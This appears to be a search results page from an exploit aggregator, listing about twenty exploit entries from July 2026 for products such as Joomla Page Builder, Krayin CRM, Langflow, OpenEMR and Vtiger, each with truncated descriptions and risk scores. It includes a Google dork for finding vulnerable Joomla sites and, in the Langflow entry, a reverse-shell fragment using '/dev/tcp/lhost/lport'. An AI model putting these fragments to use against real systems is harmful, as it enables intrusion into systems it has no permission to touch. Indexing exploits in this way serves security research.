Lucene search
+L

278464 matches found

Packet Storm
Packet Storm
added 2026/07/08 12:00 a.m.69 views

📄 OpenSourcePOS 3.4.1 Cross Site Request Forgery

OpenSourcePOS version 3.4.1 suffers from a cross site request forgery vulnerability. ================================================================================================================================== | Title : OpenSourcePOS 3.4.1 CSRF Vulnerability Leading to Unauthorized Admin...

8.8CVSS5.4AI score0.00281EPSS
SaveExploits4
Exploit DB
Exploit DB
added 2026/07/08 12:00 a.m.113 views

Joomla Page Builder CK 3.5.10 - Arbitrary File Upload

Exploit Title: Joomla Page Builder CK 3.5.10 - Arbitrary File Upload Google Dork: inurl:compagebuilderck OR "/components/compagebuilderck/assets/pagebuilderck.js" Date: 2026-07-04 Exploit Author: M@rAz Ali Credits: Peyman Siyahi, MR.PERSIA Vendor Homepage: https://www.joomlack.fr/ Software Link:...

10CVSS8.6AI score0.30375EPSS
SaveExploits7
Exploit DB
Exploit DB
added 2026/07/08 12:00 a.m.101 views

Krayin CRM v2.2.x - Authenticated Remote Code Execution

Exploit Title: Krayin CRM v2.2.x - Authenticated Remote Code Execution Date: 07/05/2026 Exploit Author: Diamorphine Vendor Homepage: https://krayincrm.com Software Link: https://github.com/krayin/laravel-crm Version: 2.2.x Tested on: Debian CVE : CVE-2026-38526 import asyncio import httpx from...

9.9CVSS5.2AI score0.03824EPSS
SaveExploits13
Packet Storm
Packet Storm
added 2026/07/08 12:00 a.m.79 views

📄 NTLM Relay to Self Attack Module for Active Directory Privilege Escalation

This is a Metasploit module designed for Windows/Active Directory environments that performs an advanced NTLM relay-to-self attack to escalate privileges on a compromised machine...

6AI score
SaveExploits0
Packet Storm
Packet Storm
added 2026/07/08 12:00 a.m.79 views

📄 OpenCATS 0.9.7.4 Time-Based Blind SQL Injection

This Python script targets a remote SQL injection vulnerability in OpenCATS version 0.9.7.4. ================================================================================================================================== | Title : OpenCATS 0.9.7.4 Time-Based Blind SQL Injection Exploit Data...

6AI score
SaveExploits0
Packet Storm
Packet Storm
added 2026/07/08 12:00 a.m.78 views

📄 Pachno 1.0.6 XML Injection / Code Execution / Shell Upload

Authenticated Python exploit tool targeting Pachno version 1.0.6 with claimed XXE, privilege escalation, CSRF payload generation, unrestricted PHP webshell upload, open redirect testing, and a placeholder deserialization / remote code execution chain...

6.6AI score
SaveExploits0
Exploit DB
Exploit DB
added 2026/07/08 12:00 a.m.70 views

Langflow 1.9.0 - RCE

Exploit Title: Langflow 1.9.0 - RCE Exploit Author: Diamorphine Vendor Homepage: https://www.langflow.org/ Software Link: https://www.langflow.org/desktop Version: & /dev/tcp/lhost/lport 0&1'"\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom...

9.8CVSS8.6AI score0.96177EPSS
SaveExploits33
Packet Storm
Packet Storm
added 2026/07/08 12:00 a.m.84 views

📄 OpenBMC bmcweb Authentication Bypass

Proof of concept that demonstrates an OpenBMC bmcweb AUTH-F6 mTLS UPN Suffix authentication bypass vulnerability via a parent-domain certificate. ================================================================================================================================== | Title : OpenBMC...

5.9AI score
SaveExploits0
Packet Storm
Packet Storm
added 2026/07/08 12:00 a.m.77 views

📄 OpenEMR 7.0.2 Authenticated Arbitrary File Read

This Metasploit auxiliary module targets an authenticated arbitrary file read vulnerability in the Fax/SMS module of OpenEMR version 7.0.2 and related builds. ================================================================================================================================== | Title...

9.9CVSS6AI score0.02164EPSS
SaveExploits5
Packet Storm
Packet Storm
added 2026/07/08 12:00 a.m.73 views

📄 Vtiger CRM 8.3.0 Shell Upload

This is a focused authenticated remote code execution proof of concept exploit for Vtiger CRM version 8.3.0. It logs into Vtiger, uploads a .phar PHP webshell through the Documents module, uses /storage/ directory listing to discover the randomized uploaded filename, then executes commands throug...

8.8CVSS6.6AI score0.00999EPSS
SaveExploits2
GithubExploit
GithubExploit
added 2026/07/07 11:52 p.m.100 views

Exploit for Command Injection in Litellm

─── CVE-2026-42271 ─── 🛡️ AMN SECURITY 🛡️ مركز أ...

8.8CVSS6.5AI score0.83594EPSS
SaveExploits2
GithubExploit
GithubExploit
added 2026/07/07 11:52 p.m.103 views

Exploit for Deserialization of Untrusted Data in Microsoft

─── CVE-2026-45659 ─── 🏴 AMN SECURITY 🏴 مركز أب...

8.8CVSS6.7AI score0.76075EPSS
SaveExploits4
GithubExploit
GithubExploit
added 2026/07/07 11:52 p.m.99 views

Exploit for Out-of-bounds Read in Citrix Netscaler_Application_Delivery_Controller

─── CVE-2026-8451 ─── 🏴 AMN SECURITY 🏴 مركز أبح...

8.8CVSS6AI score0.15654EPSS
SaveExploits1
GithubExploit
GithubExploit
added 2026/07/07 10:23 p.m.105 views

Exploit for Path Traversal in Adobe Coldfusion

CVE-2026-48282 — Adobe ColdFusion RDS Validation and Detection...

10CVSS7.9AI score0.42388EPSS
SaveExploits3
GithubExploit
GithubExploit
added 2026/07/07 8:31 p.m.101 views

Exploit for CVE-2026-20896

CVE-2026-20896 Gitea Docker Auth Bypass Checker Authorized re...

9.8CVSS7.3AI score0.02755EPSS
SaveExploits7
GithubExploit
GithubExploit
added 2026/07/07 8:11 p.m.87 views

Exploit for CVE-2026-12277

CVE-2026-12277 Frontend File Manager Plugin WordPress...

8.7CVSS6.1AI score0.00392EPSS
SaveExploits1
GithubExploit
GithubExploit
added 2026/07/07 8:01 p.m.77 views

Exploit for Cross-site Scripting in Warfareplugins Social_Warfare

!GeminiGeneratedImagea1skbua1skbua1skpictures\GeminiGener...

6.1CVSS7.6AI score0.72946EPSS
SaveExploits20
GithubExploit
GithubExploit
added 2026/07/07 8:01 p.m.76 views

Exploit for Cross-site Scripting in Warfareplugins Social_Warfare

...

6.1CVSS7.4AI score0.72946EPSS
SaveExploits20
GithubExploit
GithubExploit
added 2026/07/07 7:11 p.m.100 views

Exploit for CVE-2026-36214

CVE-2026-36214 - Stored Cross-Site Scripting XSS in osTicket...

6.2AI score0.0033EPSS
SaveExploits2
GithubExploit
GithubExploit
added 2026/07/07 5:00 p.m.193 views

cve-poc-collection

CVE PoC Vulnerability Reproduction Collection This repository...

10CVSS7AI score0.99999EPSS
SaveExploits132
Rows per page
Query Builder